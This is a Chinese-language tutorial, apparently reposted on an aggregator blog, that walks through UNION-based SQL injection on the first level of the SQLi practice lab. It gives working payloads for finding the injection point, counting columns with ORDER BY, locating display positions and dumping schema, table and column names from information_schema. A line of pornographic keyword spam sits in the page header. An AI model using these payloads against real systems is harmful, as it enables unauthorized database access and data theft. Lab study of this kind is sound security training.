日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

SQL注入(SQL注入(SQLi)攻击)攻击-联合注入

發布時間:2024/8/26 数据库 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 SQL注入(SQL注入(SQLi)攻击)攻击-联合注入 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

頁面有顯示位時 , 可用聯合注入

本次以 SQLi 第一關為案例



第一步,判斷注入類型

參數中添加 單引號 ' , 如果報錯,說明后端沒有過濾參數 , 即 存在注入

?id=1'

?

從數據庫的報錯中我們可得知 , 最外邊的一對單引號是錯誤提示自帶的,我們不用管

我們輸入的1 , 兩邊的一對單引號 , 是SQL拼接參數時使用的

而1 右邊的單引號 , 是我們自己輸入的

也就是說 , 后臺SQL中拼接參數時 , 使用的是單引號 , 固 注入點為 單引號字符串型

第二步,獲取字段數
order by 1 , 即 根據第1列排序 , 修改排序的列,如果存在該列,則會正常顯示 , 如果不存在該列 則會報錯 , 我們從第1列開始排序 , 然后是第2列,第3列

?id=1' order by 4-- a

第4列時,開始報錯,沒有第四列 , 也就是說,返回的結果中只有3列, 固 3個字段

第三步,獲取顯示位

聯合查詢 可以將左右兩個查詢語句的結果合并在一起顯示,左邊的查詢結果顯示在上方,右邊的查詢結果顯示在下方 , 前提是兩個查詢結果的字段數一致 , 如果字段數不一致則會報錯 , 這也是我們上一步需要獲取字段數的原因?

我們輸入id為-1 , 由于id沒有負數,導致SQL左邊的查詢沒有數據 , 最后的結果就只會顯示右邊的查詢結果 , 也就是 1 2 3?

?id=-1' union select 1,2,3 -- a

?

第四步,脫庫

?我們參數中?3 替換成查詢語句 , 從而在頁面 3 的位置上顯示我們的查詢結果

group_concat() , 可以將多行結果合并為一行

?id=-1' union select 1,2, (select group_concat(schema_name) from information_schema.schemata)-- a

??我們可以看到 , 原本3的位置 展示了我們查詢的數據 :?所有數據庫

通過修改參數中 3 處的查詢語句 , 可以顯示不同的結果 如?所有表

?id=-1' union select 1,2, (select group_concat(table_name) from information_schema.tables where table_schema='security')-- a

所有字段

?id=-1' union select 1,2, (select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')-- a

?拿到表和字段信息后 , 就可以任意查詢數據庫中的數據了。

總結

以上是生活随笔為你收集整理的SQL注入(SQL注入(SQLi)攻击)攻击-联合注入的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。